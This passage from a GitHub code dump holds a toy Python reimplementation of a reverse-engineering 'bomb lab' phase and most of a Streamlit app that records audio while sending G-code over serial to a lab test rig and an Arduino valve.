plt.show()\n","repo_name":"unitatem/tass-analysis","sub_path":"src/graph_analyser.py","file_name":"graph_analyser.py","file_ext":"py","file_size_in_byte":4870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10585822509","text":"#!/usr/bin/python\n# Reverse engineering phase 3\n\nimport sys\nimport random\n\n\nvalid_combinations = [\n    ('q', 777),\n    ('b', 214),\n    ('b', 755),\n    ('k', 251),\n    ('o', 160),\n    ('t', 458),\n    ('v', 780),\n    ('b', 524),\n]\n\n\ndef explode_bomb():\n    print(\"\\nBOOM!!!\\nThe bomb exploded.\")\n\n  \ndef phase_3(answer):\n    # answer is a string %d %c %d\n    answer = answer.split()\n    if len(answer) < 3:\n        explode_bomb()\n\n    a = int(answer[0])\n    b = answer[1]\n    c = int(answer[2])\n\n    if a > 7 or len(b) > 1:\n        explode_bomb()\n\n    # one way of implementing a switch statement..\n    if valid_combinations[a] != (b, c):\n        explode_bomb()\n\n    print(\"Phase defused.\")\n\n        \ndef solve():\n    index = random.randint(0, len(valid_combinations) - 1)\n    return \"{} {} {}\".format(index, *valid_combinations[index])\n\n\nif __name__ == \"__main__\":\n    phase_3(solve())\n","repo_name":"johnsjc/reverse-eng","sub_path":"bomb/python/phase3.py","file_name":"phase3.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19538573092","text":"from PIL import Image\r\nimport streamlit as st\r\nimport json\r\nimport own_functions\r\nimport pyaudio\r\nfrom pathlib import Path\r\nimport matplotlib.pyplot as plt\r\nfrom scipy import signal\r\nfrom scipy.io import wavfile\r\nimport shutil\r\nimport os\r\nimport numpy as np\r\nimport librosa\r\nimport librosa.display\r\n\r\nimport serial  # pip install pyserial, NOT serial!!!\r\nimport time\r\nimport multiprocessing\r\n\r\ndef G1_withprint(x_pos, y_pos, z_pos, speed):\r\n    x_pos = round(x_pos,1)\r\n    y_pos = round(y_pos,1)\r\n    z_pos = round(z_pos,1)\r\n    tmp_GCode = \"G1\"+\" \"+\"X\"+str(x_pos)+\" \"+\"Y\"+str(y_pos)+\" \"+\"Z\"+str(z_pos)+\" \"+\"F\"+str(speed)+ \"\\n\" #Position anfahren\r\n    tmp_GCode = tmp_GCode + \"M400\" + \"\\n\" #Warten mit Ausführung des nächsten G-Codes bis Beendigung des vorigen\r\n    tmp_GCode = tmp_GCode + \"M118\"+\" TX: \"+\"X\"+str(x_pos)+\" \"+\"Y\"+str(y_pos)+\" \"+\"Z\"+str(z_pos)+\" \"+ \"\\n\" #M118 für Json\r\n    return tmp_GCode\r\n\r\ndef G1_withoutprint(x_pos, y_pos, z_pos, speed):\r\n    x_pos = round(x_pos,1)\r\n    y_pos = round(y_pos,1)\r\n    z_pos = round(z_pos,1)\r\n    tmp_GCode = \"G1\"+\" \"+\"X\"+str(x_pos)+\" \"+\"Y\"+str(y_pos)+\" \"+\"Z\"+str(z_pos)+\" \"+\"F\"+str(speed)+ \"\\n\" #Position anfahren\r\n    tmp_GCode = tmp_GCode + \"M400\" + \"\\n\" #Warten mit Ausführung des nächsten G-Codes bis Beendigung des vorigen\r\n    return tmp_GCode\r\n\r\n\r\n#####Worker=Timestampgenerator & Karl I Ansteuerung\r\ndef worker(temppath):\r\n    temp = temppath #temporären Übergabepfad nutzen\r\n    json_array = {} #json array to save important information\r\n    startms = int(round(time.time() * 1000)) #start time of operation in ms #####MIGHT BE BETTER IN GCODE GENERATION\r\n    lastms = startms\r\n\r\n    #read G-Code from temporary file\r\n    gcode_array_position = 0 #flag to store where we are in the gcode_array right now\r\n    gcode_array = [] #file to array\r\n    tempsave = os.path.join(temp, \"temporary_file_gcode.g\") \r\n    with open(tempsave) as my_file:\r\n        gcode_array = my_file.readlines()\r\n\r\n    #read G-Code waiter from temporary file\r\n    #prepare for \"ok\"s to expect from printer to stream gcode without error\r\n    gcode_waiter_array_positon = 0 #flag to store where we are in the gcode_waiter_array right now\r\n    gcode_waiter_array = [] #file to array\r\n    temp_gcode_waiter_file = []\r\n    tempsave = os.path.join(temp, \"temporary_file_gcode_waiter.g\") \r\n    with open(tempsave) as my_file:\r\n        temp_gcode_waiter_file = my_file.readlines()\r\n    temp_gcode_waiter_file = temp_gcode_waiter_file[0]\r\n    temp_gcode_waiter_file = temp_gcode_waiter_file.strip(\"[\")\r\n    temp_gcode_waiter_file = temp_gcode_waiter_file.strip(\"]\")\r\n    gcode_waiter_array = temp_gcode_waiter_file.split(\",\")\r\n\r\n    #Open Serial\r\n    port = \"COM3\" #Hardcoded port, change if other port used #COM4 X230 #COM3 Unirechner linker USB-Port\r\n    ser = serial.Serial(port, 250000, timeout = 10) #start serial connection\r\n    print(\"start of operation.\") #debug print\r\n    print(\"serial port opened.\") #debug print\r\n    time.sleep(2) #sleept to give time to initialize #do not delete or expect trouble\r\n\r\n    ok_counter = 0 #count \"ok\" from demonstrator to not overflow serial buffer and check if action is executed\r\n    new_gcode_flag = 1 #flag to signal new gcode should be transmitted\r\n    timestampart = \"TSL\" #Konvention zur Benennung links: TSL rechts: TSR\r\n    timstampcount = 1 #Counting timestamps starting with 1\r\n    leseserial = 1 #if 1 keep reading\r\n\r\n    while leseserial == 1:\r\n        textreceived = ser.readline() #read serial output of demonstrator line by line\r\n        print(\"demonstrator output: \" + str(textreceived)) #print the output to console\r\n        with open(\"SerialData.txt\", \"a+\") as myfile: #open logging file\r\n            myfile.write(str(textreceived)+\"\\n\") #write to logging file\r\n\r\n        if b'SETTINGS' in textreceived: #receive the settings output\r\n            splitters = textreceived.split() #split the string based on spaces\r\n            json_array['feedrate'] = int(splitters[1][1:]) #save to json\r\n            json_array['acceleration'] = int(splitters[2][1:]) #save to json\r\n            json_array['turns'] = int(splitters[3][1:]) #save to json\r\n            port1 = \"COM4\"\r\n            ser1 = serial.Serial(port1, 115200, timeout = 10)\r\n            time.sleep(2)\r\n            print(\"opened Serial to Arduino.\")\r\n            ser1.write(bytes(\"<1>\".encode('ascii'))) #Ventil auf und LED an\r\n            ser1.close() #close Serial Port\r\n\r\n        if b'ok' in textreceived: #okcounter to check if code was successfully transmitted and executed\r\n            ok_counter = ok_counter + 1 #add 1 to okcounter\r\n            if(int(gcode_waiter_array[int(gcode_waiter_array_positon)]) == ok_counter): #compare the \"ok\" received to the expected \"ok\"\r\n                ok_counter = 0 #reset ok_counter for the next block\r\n                gcode_waiter_array_positon = gcode_waiter_array_positon + 1 #next position in gcode_waiter_array_positon\r\n                new_gcode_flag = 1 #set flag to start new gcode transmission\r\n            else:\r\n                continue #do nothing here if we have not reached the expected \"ok\" amount\r\n\r\n        if(new_gcode_flag == 1):\r\n            new_gcode_flag = 0\r\n            with open(\"SerialData.txt\", \"a\") as myfile: #to make serial data more readable\r\n                    myfile.write(\"BLOCK NEU\"+\"\\n\")\r\n            for a in range(int(gcode_waiter_array[int(gcode_waiter_array_positon)])): #send commands based on amount previously specified\r\n                try:\r\n                    ser.write(bytes(gcode_array[gcode_array_position], 'utf-8'))\r\n                    gcode_array_position = gcode_array_position + 1 #next gcode\r\n                except:\r\n                    print(\"A Error occured while trying to send data to demonstrator.\")\r\n                    continue\r\n                \r\n        if b'TX' in textreceived: #Timestamp generation\r\n            now = int(round(time.time() * 1000)) #current time in ms\r\n            tookms = now - lastms #calculate used ms between M118 with \"TX\"\r\n            lastms = now #set lastms to current time\r\n            print('time between last M118 with \"TX\": ' + str(tookms)) #print for comparision and debug to console\r\n            if(timestampart == \"TSL\"): #timestamp on left side\r\n                timestampname = timestampart + str(timstampcount) #create jsoneintrag name\r\n                json_array[timestampname] = now -startms #create timestamp with time since start \r\n                timestampart = \"TSR\" #change for next timestamp\r\n            else: #timestamp on right side\r\n                timestampname = timestampart + str(timstampcount) #create jsoneintrag name\r\n                json_array[timestampname] = now - startms #create timestamp with time since start\r\n                timstampcount = timstampcount + 1 #always one timestamp left then one right then next turn so we add +1\r\n                timestampart = \"TSL\" #change for next timestamp\r\n\r\n\r\n        if b'START' in textreceived: #START GCODE BAUSTEIN\r\n            continue\r\n\r\n        if b'END' in textreceived: #END GCODE M118 Baustein\r\n            leseserial = 0 #end the while loop\r\n            ser.close() #close the serial port\r\n            print(\"end of operation.\")\r\n            print(\"serial port closed.\")\r\n\r\n            port1 = \"COM4\"\r\n            ser1 = serial.Serial(port1, 115200, timeout = 10)\r\n            time.sleep(2)\r\n            print(\"opened Serial to Arduino.\")\r\n            ser1.write(bytes(\"<0>\".encode('ascii'))) #Ventil aus und LED an\r\n            ser1.close() #close Serial Port\r\n\r\n    tempsave = os.path.join(temp, \"temporary_file_timestamp.json\") #create temporary path\r\n    with open(tempsave, \"w+\") as outfile: #create file\r\n        outfile.write(json.dumps(json_array)) #dump json file\r\n    return #end this part of code\r\n#################\r\n\r\n# function main() that is run by Main.py:\r\ndef main():\r\n    # selectable metadata regarding the testobject and testing hardware:\r\n    loaded_objects = (\"Sandvik CNMG 12 04 08-MM 2025\", \"Mischkoerper\", \"other\")\r\n    loaded_testing_rigs = (\"KARL 1\",)\r\n    loaded_nozzles = (\r\n        \"Schlick Modellreihe 629\",\r\n        \"Schlick Modellreihe 650\",\r\n        \"FOS-45°-Flachstrahldüse 25mm Länge\",\r\n        \"FOS-Flachstrahldüse 35mm Länge\",\r\n        \"FOS-Flachstrahldüse 60mm Länge\",\r\n        \"Jet-Düse MV6, Innendurchm. 6mm\",\r\n        \"Jet-Düse MV12, Innendurchm. 6mm\",\r\n        \"Düse 1200SSF 1/8 verstellbar, Edelstahl\",\r\n        \"Silvent MJ4\",\r\n        \"Silvent MJ5\",\r\n        \"\",\r\n    )\r\n    \r\n    loaded_recording_modes = (\"Recording by time\", \"Recording on Karl I\")\r\n\r\n    # selectable audio recording settings:\r\n    loaded_microphones = (\r\n        \"RØDE Microphones VideoMic\",\r\n        \"Renkforce UM-80 USB-Mikrofon\",\r\n        \"other\")\r\n    loaded_sampling_rates = (\"44100\", \"48000\", \"88200\", \"96000\")\r\n    loaded_sample_formats = (\"16\", \"24\")\r\n    loaded_chunks = (\"1024\", \"2048\")\r\n\r\n    # header and subheader of the page:\r\n    st.header(\"Metadata Capture of Audio Files\")\r\n    st.write(\r\n        \"Name your recording and select or type in the right parameters\"\r\n    )\r\n    col_meta_1, col_meta_2, col_meta_3, = st.beta_columns((2, 2, 2,))\r\n     \r\n    # select metadata regarding the testobject and testing hardware:\r\n    test_series_name = str(col_meta_1.text_input(\"Test Series Name\", \"TestserienNr\", help='The test series name designates a series of tests on comparable bodies. For example \"width_Schlick_629\" for the test of several inserts of the same model. Consider carefully how to name the test series.Subsequent changes are not possible or lead to incorrect processing of the metadata. Avoid letters like \"ä, ö, ü, ß\" and special characters.'))\r\n    audio_file_name_raw = col_meta_1.text_input(\"File Name\", \"example\", help='The file name of the recording is based on the name to be entered here and the number of the test object in the line below.')\r\n    test_object_number = str(col_meta_1.text_input(\"Test Object Number\", \"1\", help='The number of the test object is specified here. The numbering helps to distinguish between different objects of the same type or model and is included in the file name of the recording.'))\r\n    test_deviation = col_meta_1.number_input(\r\n        \"Target Value [µm]\", step=0.01, help='Insert the measured target value of the test object [µm]. For example, the optically measured deviation of the test object'\r\n    )\r\n    \r\n\r\n    #col_meta_1, col_meta_2, col_meta_3 = st.beta_columns((2, 2, 2))\r\n\r\n   \r\n    test_nozzle = col_meta_2.selectbox(\"Nozzle\", loaded_nozzles, help='Select the nozzle used for compressed air blasting. If the desired model is not selectable, it must be added to the \"loaded_nozzles\" list in the source code of the \"audio_recorder.py\" file.')\r\n    test_object = col_meta_2.selectbox(\"Test Object\", loaded_objects, help='Select the test tested object / model that is to be tested. If the desired model is not selectable, it must be added to the \"loaded_objects\" list in the source code of the \"audio_recorder.py\" file.')\r\n    test_testing_rig = col_meta_2.selectbox(\"Test Rig\", loaded_testing_rigs, help='Select the test rig on which the recording will be taken. If the desired model is not selectable, it must be added to the \"loaded_testing_rigs\" list in the source code of the \"audio_recorder.py\" file.')\r\n    \r\n    \r\n    \r\n    # test_recording_mode = st.selectbox(\"Recording mode\", loaded_recording_modes)\r\n    \r\n    st.header(\"Recording Mode, Recording Time and G-Code Settings\")\r\n    \r\n    test_recording_mode = st.radio(\"Recording mode\", loaded_recording_modes)\r\n    \r\n    if test_recording_mode == \"Recording by time\":\r\n        #col_record_settings.write(\"Manual setting of the recording time\")\r\n        col_mode_1, col_mode_2, = st.beta_columns((2, 1))\r\n        test_required_recording_time = col_mode_1.number_input(\r\n            \"Recording Time [s]\", help='Enter the desired recording length here. This can be between 0 and 240 seconds.',\r\n            step=0.01,\r\n            min_value=0.01,\r\n            max_value=240.00,\r\n            value=2.00\r\n        )\r\n        mode_path_name = \"0_recording_by_time\"\r\n\r\n    elif test_recording_mode == \"Recording on Karl I\":\r\n        #col_record_settings.header(\"Recording with Karl I\")\r\n        col_mode_1, col_mode_2, col_mode_3, = st.beta_columns((1, 1, 1,))\r\n\r\n        Infoimage = Image.open(\"images\\info_cutting_parameters.png\")\r\n        col_mode_3.image(Infoimage, caption=None, use_column_width=True)#, width=600, height=600)\r\n\r\n        x_start = col_mode_1.number_input(\"start position of x axis [mm]\", min_value = 0.00, max_value = 120.00, value = 12.00, step = 0.1) \r\n        y_start = col_mode_1.number_input(\"start position of y axis [mm]\", min_value = 0.00, max_value = 130.00, value = 0.00, step = 0.1) \r\n        z_start = col_mode_1.number_input(\"start position of z axis [mm]\", min_value = 0.00, max_value = 100.00, value = 10.00, step = 0.1) \r\n\r\n        test_feed_speed = col_mode_2.number_input(\r\n            \"Feed Speed [mm/s]\",\r\n            step=0.01,\r\n            min_value=0.01,\r\n            max_value=10000.00,\r\n            value=8.00,\r\n        )\r\n        test_feed_acceleration = col_mode_2.number_input(\r\n            \"Acceleration [mm/s²]\",\r\n            step=0.01,\r\n            min_value=0.01,\r\n            max_value=2000.00,\r\n            value=25.00,\r\n        )\r\n        test_measuring_path = col_mode_2.number_input(\r\n            \"Measuring Path (l) [mm]\",\r\n            step=0.01,\r\n            min_value=0.01,\r\n            max_value=1000.00,\r\n            value=16.00,\r\n        )\r\n        test_offset = col_mode_2.number_input(\r\n            \"Offset (b) [mm]\", min_value=0.01, max_value=1000.00, value=1.00\r\n        )\r\n        test_number_of_measuring_paths = col_mode_1.slider(\r\n            \"Number of Measuring Paths (n)\", 0, 50, 1, 1\r\n        )\r\n        #st.write(test_number_of_measuring_paths, \"Measuring paths per audiofile\")\r\n        n = test_number_of_measuring_paths\r\n        ss_p = test_measuring_path  # Messstrecke\r\n        ss_o = test_offset  # Versatz/Abstand zwischen den Messstrecken\r\n        vs = test_feed_speed  # eingestellte Vorschubgeschwindigkeit\r\n        acs = test_feed_acceleration  # eingestellte Beschleunigung\r\n        ta = (\r\n            vs / acs\r\n        )  # benötigte Zeit, bis mit gegebener Beschleunigung die Vorschubgeschwindigkeit erreicht ist\r\n        # Strecke, die während Beschleunigungsphase auf Vorschubgeschwindigkeit zurückgelegt wird.\r\n        sa = 0.5 * acs * (ta ** 2)\r\n        # Bei den Versatzwegen wird die Sollvorschubgeschwindigkeit in der Regel nicht erreicht, daher dieser Ausnahmefall:\r\n        if sa >= (0.5 * ss_o):\r\n            tv_o = 0  # Keine Zeit beim Versatz wird dann mit der Sollvorschubgeschwindigkeit zurückgelegt\r\n            # Die Zeit, die für das Zurücklegen des halben Versatzes mit der Beschleunigung zurückgelegt wird\r\n            ta_o = (ss_o / acs) ** 0.5\r\n            ts_o = (\r\n                2 * ta_o\r\n            )  # 2x, jeweils einmal für Beschleunigung und einmal für Bremsen\r\n        else:\r\n            sv_o = ss_o - (2 * sa)\r\n            tv_o = sv_o / vs\r\n            ts_o = tv_o + (2 * ta)\r\n\r\n        sv_p = ss_p - (2 * sa)  # path length while having the set feed speed\r\n        tv_p = sv_p / vs  # measuring time while having the set feed speed\r\n        ts_p = tv_p + (2 * ta)  # total measuring time per path\r\n\r\n        ttotal = (\r\n            2 * n * ts_p + (n - 1) * ts_o\r\n        )  # 2 times the measuring path length times its iterations plus the offsets\r\n        if ttotal <= 0:\r\n            ttotal = 0\r\n        \r\n        st.write(\"Adjust recording time manually:\")\r\n        col_mode_1, col_mode_2, col_mode_3,  = st.beta_columns((1, 1, 1,))\r\n        \r\n        ttolerance_fix = col_mode_1.number_input(\r\n            \"One-Time Time Tolerance [s]\", step=0.01, value=25.00\r\n        )\r\n        ttolerance_per_path = col_mode_2.number_input(\r\n            \"Time Tolerance per Path [s]\", step=0.01, value=1.25\r\n        )\r\n        ttotal_with_tolerance = ttotal + ttolerance_fix + n * ttolerance_per_path\r\n\r\n        st.write(\"\")\r\n        col_mode_1, col_mode_2, = st.beta_columns((2, 1,))\r\n\r\n        col_mode_1.write(\r\n            f\"The calculated recording time including tolerances counts {ttotal_with_tolerance} seconds\"\r\n        )\r\n        test_required_recording_time = ttotal_with_tolerance\r\n        mode_path_name = \"1_recording_on_karl_I\"\r\n        demonstrator_active = col_mode_1.radio(\"Is the demonstrator connected?\", (\"yes\", \"no\"))\r\n    # select audio recording settings:\r\n\r\n    audio_file_name = f\"{audio_file_name_raw}_objectnr_{test_object_number}.wav\"\r\n\r\n    st.header(\"Microphone and Recording Settings\")\r\n    \r\n    col_rec_set_1, col_rec_set_2, col_rec_set_3, col_rec_set_4, col_rec_set_5 = st.beta_columns((2, 2, 2, 2, 4))\r\n\r\n    test_microphone = col_rec_set_1.selectbox(\"Microphone\", loaded_microphones)\r\n    \r\n    test_sampling_rate = int(\r\n        col_rec_set_2.selectbox(\"Sampling rate [kHz]\", loaded_sampling_rates, help='The sample rate is the number of samples played in each second. Sample rates are measured in \"Hertz\" (abbreviated \"Hz\"), which means \"per second,\" or in \"kilohertz\" (abbreviated \"kHz\"), which means \"per second, times one thousand.\" The sample rate used on audio CDs can be written as 44 100 Hz, or 44.1 kHz, which both have the same meaning. Common sample rates are 44.1 kHz, 48 kHz, and 96 kHz. Other possible sample rates include 22 kHz, 88.2 kHz, and 192 kHz.')\r\n    )\r\n    selected_test_sample_format = col_rec_set_3.selectbox(\r\n        \"Sample format [bit]\", loaded_sample_formats, help=\"The sample format is the number of bits used to describe each sample. The greater the number of bits, the more data will be stored in each sample. Common sample formats are 16 bits and 24 bits. 8-bit samples are low-quality, and not used often. 20-bit samples are not commonly used on computers. 32-bit samples are possible, but not supported by most audio interfaces.\"\r\n    )\r\n    test_chunk = int(col_rec_set_4.selectbox(\"Buffer [byte]\", loaded_chunks, help=\"The chunk is like a buffer, so therefore each buffer will contain 1024 samples, which you can then either keep or throw away. We use chunks of data, instead of a continuous amount of audio because of processing power.\"))\r\n    # test_channels = int(st.selectbox('Number of channels', loaded_channels))\r\n\r\n    # translating the input of the selectbox for the sample format into they right variable for the recording algorithm:\r\n    if selected_test_sample_format == \"8\":\r\n        test_sample_format = pyaudio.paInt8\r\n    elif selected_test_sample_format == \"16\":\r\n        test_sample_format = pyaudio.paInt16\r\n    elif selected_test_sample_format == \"24\":\r\n        test_sample_format = pyaudio.paInt24\r\n    elif selected_test_sample_format == \"32\":\r\n        test_sample_format = pyaudio.paInt32\r\n    else:\r\n        test_sample_format = None\r\n\r\n    # reminder to check if all settings are done correctly and button to start the recording:\r\n\r\n    # loaded_npersegs = (\"512\", \"1024\", \"2048\", \"4096\")\r\n    # npersegs=int(st.selectbox('Length of each segment (nperseg)', loaded_npersegs))\r\n    npersegs = 4096\r\n    noverlaps = npersegs / 2\r\n\r\n    st.write(\r\n        'Check if everything is filled in correctly and save your metadata by pressing the \"Save\" button below.'\r\n    )\r\n\r\n    col_rec_1, col_rec_2, col_rec_3, col_rec_4 = st.beta_columns((1.3, 1, 1, 12))\r\n\r\n    start_recording = col_rec_1.button(\"Record\")\r\n\r\n    \r\n    if start_recording == True:\r\n        if test_recording_mode == \"Recording by time\":\r\n            # determining the path for temporary files\r\n            temp = Path(f\"audio-files/{mode_path_name}/0_temporary_files\")\r\n            # creating the path if it doesn't exist yet\r\n            temp.mkdir(parents=True, exist_ok=True)\r\n            # path and name for the temporary recording file\r\n            temporary_file_path = temp / \"temporary_file.wav\"\r\n        elif test_recording_mode == \"Recording on Karl I\":\r\n            # determining the path for temporary files\r\n            temp = Path(f\"audio-files/{mode_path_name}/0_temporary_files\")\r\n            # creating the path if it doesn't exist yet\r\n            temp.mkdir(parents=True, exist_ok=True)\r\n            ################################################################################################    \r\n            ################################################################################################\r\n            #Parameter aus Streamlit übernehmen\r\n            x_length = float(round(ss_p,1))\r\n            y_length = float(round(ss_o,1))\r\n            speed = int(round(vs*60,0)) #Umrechnung Geschwindigkeit in mm/min\r\n            accel = int(round(acs,0)) #in mm/s2\r\n            turns = int(n) # nur gerade Zahlen, damit auch zurückkommt\r\n            ##################################################    \r\n            #Startpunkt definieren\r\n            # x_start = 12.00\r\n            # y_start = 0.00\r\n            # z_start = 10.00\r\n            #Safety Z definieren\r\n            Z_safe = 5\r\n            ##################################################\r\n            #maximale Werte festlegen\r\n            x_max = 120 #not used at this time\r\n            y_max = 130 #not used at this time\r\n            z_max = 100 #not used at this time\r\n            ##################################################        \r\n            #Datei\r\n            G_codefile = \"\"\r\n            G_codewaiter = []\r\n\r\n            #Start G-Code - 4 Operationen\r\n            tmp_GCode = \"M118 START\" + \"\\n\" #Start M118 für Json Generation\r\n            tmp_GCode = tmp_GCode + \"G28\" + \"\\n\" #Home Operation in X,Y,Z\r\n            tmp_GCode = tmp_GCode + \"M204 T\" + str(accel) + \"\\n\" #Beschleunigung festlegen\r\n            tmp_GCode = tmp_GCode + \"M118 SETTINGS F\"+ str(int(round(speed/60,0))) + \" A\" + str(accel) + \" T\" + str(turns) + \"\\n\" #M118 für Json\r\n            G_codefile = G_codefile + tmp_GCode #zu G_codefile hinzufügen\r\n            G_codewaiter.append(4)\r\n\r\n            #Startpositon G-Code - 3 Operationen\r\n            x_pos, y_pos, z_pos = x_start, y_start, z_start #Ausgangswerte für Operationen definieren\r\n            G_codefile = G_codefile + G1_withprint(x_pos, y_pos, z_pos, speed) #zu G_codefile hinzufügen\r\n            G_codewaiter.append(3)\r\n\r\n            ####Start Operations G-Code\r\n            for n in range(turns):\r\n                #+X Verfahrweg + M118 - 3 Operationen\r\n                x_pos = x_pos + x_length #Ausgangswerte für Operationen definieren\r\n                G_codefile = G_codefile + G1_withprint(x_pos, y_pos, z_pos, speed) #zu G_codefile hinzufügen\r\n                G_codewaiter.append(3)\r\n                #-X Verfahrweg - 2 Operationen\r\n                x_pos = x_pos - x_length #Ausgangswerte für Operationen definieren\r\n                G_codefile = G_codefile + G1_withoutprint(x_pos, y_pos, z_pos, speed) #zu G_codefile hinzufügen\r\n                G_codewaiter.append(2)  \r\n                if (n<turns-1): #um letzten Verfahrweg in Y nicht durchzuführen\r\n                    #+Y Verfahrweg + M118 - 3 Operationen\r\n                    y_pos = y_pos + y_length #Ausgangswerte für Operationen definieren\r\n                    G_codefile = G_codefile + G1_withprint(x_pos, y_pos, z_pos, speed) #zu G_codefile hinzufügen\r\n                    G_codewaiter.append(3)    \r\n            ####Ende Operations G-Code\r\n\r\n            #Z-Achse positiv Verfahren um sicheres Zurückfahren zu ermöglichen G-Code - 3 Operationen\r\n            z_pos = z_pos + Z_safe #Verfahren in Z für sichere Endoperation\r\n            G_codefile = G_codefile + G1_withoutprint(x_pos, y_pos, z_pos, speed) #zu G_codefile hinzufügen\r\n            G_codewaiter.append(2)\r\n\r\n            #Endpositon G-Code - 3 Operationen\r\n            x_pos, y_pos, z_pos = 0,0,0 #Ausgangspunkt definieren\r\n            G_codefile = G_codefile + G1_withoutprint(x_pos, y_pos, z_pos, speed) #zu G_codefile hinzufügen\r\n            G_codewaiter.append(2)\r\n\r\n            #End G-Code - 3 Operationen\r\n            tmp_GCode = \"M84\" + \"\\n\" #Stepper Motoren ausschalten\r\n            tmp_GCode = tmp_GCode + \"M118 END\" + \"\\n\" #End\r\n            G_codefile = G_codefile + tmp_GCode #zu G_codefile hinzufügen\r\n            G_codewaiter.append(2)\r\n\r\n            tempsave = os.path.join(temp, \"temporary_file_gcode.g\") #temporären Pfad generieren\r\n            f = open(tempsave, \"w+\") #Datei neu erstellen oder überschreiben\r\n            f.write(G_codefile) #in Datei schreiben\r\n            f.close() #Datei schließen\r\n\r\n            tempsave = os.path.join(temp, \"temporary_file_gcode_waiter.g\") #temporären Pfad generieren\r\n            f = open(tempsave, \"w+\") #Datei neu erstellen oder überschreiben\r\n            f.write(str(G_codewaiter)) #in Datei schreiben\r\n            f.close() #Datei schließen\r\n\r\n            #Errorcheck\r\n            if (sum(G_codewaiter) != G_codefile.count(\"\\n\")): #compare gcodewaiter to gcode\r\n                print(\"You might have a Error in your G-Code. Expect it not to work\")\r\n            ##################################################\r\n            ##################################################\r\n            \r\n            #START COMMUNICATION\r\n            if demonstrator_active == 'yes':\r\n                jobs = []\r\n                p = multiprocessing.Process(target=worker, args=(temp,))\r\n                jobs.append(p)\r\n                p.start()\r\n            else:\r\n                None\r\n            ##################################################\r\n            ##################################################\r\n            \r\n            temporary_file_path = temp / \"temporary_file.wav\"\r\n\r\n        own_functions.record(\r\n            test_sample_format,\r\n            1,\r\n            test_sampling_rate,\r\n            test_chunk,\r\n            test_required_recording_time,\r\n            str(temporary_file_path),\r\n        )  # recording function that is defined in Aufnahme.py\r\n\r\n        # sample_rate, samples = wavfile.read(temporary_file_path)                        # opening the temporary audio file that was just recorded before\r\n        samples, sample_rate = librosa.load(temporary_file_path, sr=test_sampling_rate)\r\n\r\n        st.write(\"sample rate:\", sample_rate)\r\n\r\n        # extracting frequencies, times and amplitdues from the wav file\r\n        frequencies, times, spectrogram = signal.spectrogram(\r\n            samples, sample_rate, nperseg=npersegs, noverlap=noverlaps\r\n        )\r\n\r\n        col_rec_a, col_rec_b = st.beta_columns((8,4))\r\n        col_rec_a.write(\"Spectrogram logarithmic scaling\")\r\n        temporary_spectrogram_fig = plt.figure(figsize=[14,7])\r\n        # creating the spectogram from the arrays of times, frequencies and spectrogram where amplitudes are expressed as colours\r\n        plt.pcolormesh(times, frequencies, spectrogram)\r\n        # setting the scale of the frequencies axis from 1 to 20000Hz\r\n        plt.ylim(1, (sample_rate / 2))\r\n        # logarithmizing the frequencies axis of the spectrogram\r\n        plt.yscale(\"log\")\r\n        # labeling the axes\r\n        plt.ylabel(\"Frequency [Hz]\")\r\n        plt.xlabel(\"Time [sec]\")\r\n        # plt.z\r\n        # visualization of the spectrogram on Streamlit\r\n        col_rec_a.pyplot(temporary_spectrogram_fig)\r\n\r\n        if test_recording_mode == \"Recording by time\":\r\n            # opening the last recorded wav file in a player on Streamlit\r\n            col_rec_a.audio(\r\n                f\"audio-files/{mode_path_name}/0_temporary_files/temporary_file.wav\",\r\n                format=\"audio/wav\",\r\n            )\r\n        elif test_recording_mode == \"Recording on Karl I\":\r\n            col_rec_a.audio(\r\n                f\"audio-files/{mode_path_name}/0_temporary_files/temporary_file.wav\",\r\n                format=\"audio/wav\",\r\n            )\r\n\r\n    savefile = col_rec_2.button(\"Save\")\r\n    # temp = Path(f\"audio-files/{mode_path_name}/0_temporary_files\")\r\n    # temporary_file_path = temp / \"temporary_file.wav\"\r\n    if savefile == True:\r\n\r\n        # 0_recording_by_time\r\n        old_temp_path = Path(f\"audio-files/{mode_path_name}/0_temporary_files\")\r\n        old_temp_path_file = old_temp_path / \"temporary_file.wav\"\r\n        if os.path.exists(old_temp_path_file):\r\n\r\n            new_path = Path(f\"audio-files/{mode_path_name}/{test_series_name}\")\r\n            new_path.mkdir(parents=True, exist_ok=True)\r\n            new_path_file = new_path / audio_file_name\r\n            new_path_file = own_functions.uniquify(new_path_file)\r\n\r\n            shutil.copyfile(old_temp_path_file, new_path_file)\r\n\r\n            os.remove(old_temp_path_file)\r\n            \r\n            pure_file_name = os.path.basename(new_path_file)\r\n\r\n            pure_base_name = pure_file_name.replace(\".wav\", \"\")\r\n            meta_file_name = Path(f\"{pure_base_name}_meta.json\")\r\n            time_stamp_file_name = Path(f\"{pure_base_name}_ts.json\")\r\n\r\n            meta_file_path = new_path / meta_file_name\r\n            time_stamp_file_path = new_path / time_stamp_file_name\r\n\r\n            if test_recording_mode == \"Recording by time\":\r\n                audio_file_meta = {\r\n                    \"optically_measured_deviation\": test_deviation,\r\n                    \"test_series\": test_series_name,\r\n                    \"test_series_path\": str(new_path),\r\n                    \"pure_base_name\": str(pure_base_name),\r\n                    \"audio_file\": str(pure_file_name),\r\n                    \"audio_file_path\": str(new_path_file),\r\n                    \"meta_file\": str(meta_file_name),\r\n                    \"meta_file_path\": str(meta_file_path),\r\n                    \"microphone\": test_microphone,\r\n                    \"samplingrate\": test_sampling_rate,\r\n                    \"recording_mode\": test_recording_mode,             \r\n                    \"object\": test_object,\r\n                    \"nozzle\": test_nozzle,\r\n                    \"machine_tool\": test_testing_rig,\r\n                    \"recording_time\": test_required_recording_time,\r\n                    \"test_object_number\": test_object_number,\r\n                }\r\n            elif test_recording_mode == \"Recording on Karl I\":\r\n                if demonstrator_active == \"yes\":\r\n                    old_time_stamp_path_file = (\r\n                        old_temp_path / \"temporary_file_timestamp.json\"\r\n                    )\r\n                    shutil.copyfile(old_time_stamp_path_file, time_stamp_file_path)\r\n                else:\r\n                    time_stamp_file_path = (\r\n                        \"test recording: no stamp file generated.\"\r\n                    )\r\n\r\n                audio_file_meta = {\r\n                    \"optically_measured_deviation\": test_deviation,\r\n                    \"test_series\": test_series_name,\r\n                    \"test_series_path\": str(new_path),\r\n                    \"pure_base_name\": str(pure_base_name),\r\n                    \"audio_file\": str(pure_file_name),\r\n                    \"audio_file_path\": str(new_path_file),\r\n                    \"meta_file\": str(meta_file_name),\r\n                    \"meta_file_path\": 